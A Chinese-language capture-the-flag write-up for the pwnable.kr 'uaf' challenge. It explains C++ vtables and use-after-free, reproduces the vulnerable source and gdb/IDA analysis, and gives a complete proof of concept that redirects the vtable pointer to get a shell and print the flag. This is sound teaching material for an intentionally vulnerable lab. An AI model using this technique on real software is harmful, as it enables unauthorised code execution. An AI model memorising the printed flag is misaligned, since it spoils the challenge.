uaf - pwnable
预备知识
虚函数的内存地址空间
在c++中,如果类中有虚函数(如下图中的 virtual void give_shell()),那么它就是有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。
对于子类,最开始的内存数据记录着父类对象的拷贝(包含父类虚函数表指针和成员变量)。之后是子类自己的成员变量数据。
子类的继承也分几种,分别是:
单一继承,无虚函数重载
单一继承,重载了虚函数
多重继承
总结
如果一个类中虚函数,那么就会建立一张虚函数表vtable,子类继承父类的vtable。
若父类vtable中包含私有(private)虚函数,子类vtable同样具有该函数的地址。并不是直接继承了私有虚函数。
当子类重载父类虚函数时,修改vtable同名函数地址,改为指向子类新定义的函数地址(子类修改父类中已有虚函数,vtable就更新对应虚函数的地址)。若子类中有新的虚函数,在vtable末尾添加。
一个类(无论父类子类)只有一个vtable,可以有多个__vfptr。__vfptr指向的是vtable。
Use-After-Free
Dangling pointer即指向被释放的内存的指针,通常是由于释放内存后,未将指针置为NULL。
UAF原理就是对Dangling pointer所指向的内存进行使用
基本利用思路:将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存的内容可能(如重新分配字符串、任意地址跳转)
下面结合图解释一下:
首先我们申请了一个堆空间里面存放有int id、char *name、int(\*func)()
,指针是p(如左图)。
然后我们释放(free)堆p。
接着再次申请相同大小的堆p2(char *p2=(char*)malloc(12))。然后向堆中写入内存地址。
由于p与p2申请堆空间相同,系统可能分配了相同的内存地址给堆p2。p在没有设置为NULL时,假如程序调用原来的堆p中的函数,实际上调用堆p2中我们写入的函数。
总结
UAF错误的原因:
导致程序出错和发生异常的各种条件
程序负责释放内存的指令发生混乱
其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)
UAF漏洞的利用:
- 先搞出来一个迷途指针
- 精心构造数据填充被释放的内存区域
- 再次使用该指针,让填充的数据使eip发生跳转。
C++ delete
为某个内容开辟空间,并设置指向该空间的指针p,delete之后,下次再重新申请的时候可以再申请这块内存地址,也就是将这块地址放到了空闲链表上,对于这块地址的内容,没有进行清空处理(也没有必要);由于你没有将p赋为NULL,所以p指针还是指向这块内存空间。
如果不delete的话,你这块内存是不能在申请使用的,也就是所谓的内存泄露。
对于delete之后的指针p,此时是"野指针"。
题目源码
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
题目给出了源码,那就直接分析源码吧。
源码中:
-
建立了一个Human类(第八行)
-
Man、Women类都是继承Human类
-
main函数一开始就初始化得到了Man、Women的两个实例。
Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21);
-
初始化后就是一个switch的选择分支:
1
调用实例中的introduce()函数2
申请堆空间,并写其中写入某些内容3
释放m、w两个实例的堆空间
在Human类中,发现有give_shell()函数,只要我们能够让程序调用这个函数就获得了shell,有足够的权限得到flag
我们先来看看释放堆空间的源码:
case 3:
delete m;
delete w;
break;
前面提到过,在程序delete w、m时,堆空间的内容没有被删除,仍然存储在内存上,只是在链表上被标注为空间可被分配。
程序正常情况下只会调用introduce()函数,那么我们可以将introduce()的内存地址覆盖为give_shell()内存地址。这样程序在调用introduce()时,就等于调用了give_shell()
那么现在问题就转化为:怎么覆盖introduce()地址
覆写的基本思路是:
-
程序运行即实例化对象m、w。
-
然后我们释放掉两个堆空间。
-
再申请相同大小的两个堆空间,写入give_shell()地址覆盖introduce()地址。
Q:为什么要申请两个相同大小的堆空间?
A:相同大小是确保系统分配,初始化时堆所使用的内存空间给我们;两个实例堆都被释放了,所有需要申请两个堆空间。
我们来看一下2
申请堆空间的源码:
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
从参数2中读取参数1长度的内容,写入到data堆中。
现在问题转化为:堆空间大小?give_shell()的内存地址
将uaf从服务器下载下来,然后丢到ida分析。
22行申请了man实例的堆空间大小为0x18字节,也就是24字节
从源码中我们已经的得知了:give_shell()是虚函数,也就是说它的位置由vtable记录,我们需要找到vtable的位置,然后从表中查询到give_shell()的内存地址。
vtable是在实例的堆空间中的第一个位(低地址)。那么我们就用gdb,在实例建立之后,查询实例的地址,接着查询实例的内存地址空间内容,从而得到vtabel地址。
Man实例化后存储在rbx中,我们就在下一行(0x0000000000400F18)打断点。
gdb-peda$ b *0x0000000000400F18
Breakpoint 1 at 0x400f18
gdb-peda$ run
Starting program: /home/skye/pwnable.kr/uaf/uaf
[----------------------------------registers-----------------------------------]
RAX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push rbp)
RBX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push rbp)
RCX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push rbp)
RDX: 0x19
RSI: 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
RDI: 0x7f9720aff300 --> 0x0
RBP: 0x7ffd678325e0 --> 0x4013b0 (<__libc_csu_init>: mov QWORD PTR [rsp-0x28],rbp)
RSP: 0x7ffd67832580 --> 0x7ffd678326c8 --> 0x7ffd67834318 ("/home/skye/pwnable.kr/uaf/uaf")
RIP: 0x400f18 (<main+84>: mov QWORD PTR [rbp-0x38],rbx)
R8 : 0xc3f010 --> 0x0
R9 : 0x0
R10: 0x6
R11: 0x7f9720a07240 (<_ZNSs6assignERKSs>: push r12)
R12: 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
R13: 0x7ffd678326c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400f0d <main+73>: mov rsi,r12
0x400f10 <main+76>: mov rdi,rbx
0x400f13 <main+79>: call 0x401264 <_ZN3ManC2ESsi>
=> 0x400f18 <main+84>: mov QWORD PTR [rbp-0x38],rbx
0x400f1c <main+88>: lea rax,[rbp-0x50]
0x400f20 <main+92>: mov rdi,rax
0x400f23 <main+95>: call 0x400d00 <_ZNSsD1Ev@plt>
0x400f28 <main+100>: lea rax,[rbp-0x12]
[------------------------------------stack-------------------------------------]
0000| 0x7ffd67832580 --> 0x7ffd678326c8 --> 0x7ffd67834318 ("/home/skye/pwnable.kr/uaf/uaf")
0008| 0x7ffd67832588 --> 0x10000ffff
0016| 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
0024| 0x7ffd67832598 --> 0x401177 (<_GLOBAL__sub_I_main+19>: pop rbp)
0032| 0x7ffd678325a0 --> 0x1
0040| 0x7ffd678325a8 --> 0x40140d (<__libc_csu_init+93>: add rbx,0x1)
0048| 0x7ffd678325b0 --> 0x7f9720b29b20 (push rbp)
0056| 0x7ffd678325b8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000400f18 in main ()
gdb-peda$ p /x $rbx
$1 = 0xc50ea0
gdb-peda$ x /10a 0xc50ea0
0xc50ea0: 0x401570 <_ZTV3Man+16> 0x19 //虚表地址
0xc50eb0: 0xc50e88 0xf151
0xc50ec0: 0x0 0x0
0xc50ed0: 0x0 0x0
0xc50ee0: 0x0 0x0
我们得到Man实例的vtable地址:0xc50ea0: 0x401570 <_ZTV3Man+16> 0x19
为了方便查看,我们回到IDA中,跳转到0x401570
现在我们知道了__vfptr指针一开始就指向了give_shell(),introduce()比give_shell()地址高8位。
我们需要知道指针进行了怎样运行,最终指向了introduce()。
我们在IDA中找到调用introduce对应的代码。
初始指针地址加上偏移地址8,刚刚好指向introduce在vtable中的地址。其中的v12、v13对应的就是实例Man、Women。
那么我们需要做的就是将__vftable虚表指针前移8个字节,这样call [vptr+8]就调用give_shell()。
0x401570-0x8=0x401568->\x68\x15\x40\x00\x00\x00\x00\x00
前面我们也分析知道了:程序是从参数2中读取需要写入堆的内容。那么我们需要提前准备好一个文档,内容为\x68\x15\x40\x00\x00\x00\x00\x00
Q:跳转到0x401570后,发现三个虚表,那为什么要用Man虚表下面的give_shell()?
A:三个虚表中的give_shell()都可以
完整POC
- 准备覆盖地址的文件
- free两个实例的堆空间
- after(malloc分配)两次,申请并写入两个堆空间
- run
skye@skye-ubuntu:~/pwnable.kr/uaf$ ssh uaf@pwnable.kr -p2222
uaf@prowl:~$ python2
Python 2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> file = open("/tmp/uaf_2.txt","wb")
>>> file.write(p64(0x401570-0x8))
>>> file.close()
>>> exit()
uaf@prowl:~$ ./uaf 24 /tmp/uaf_2.txt
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning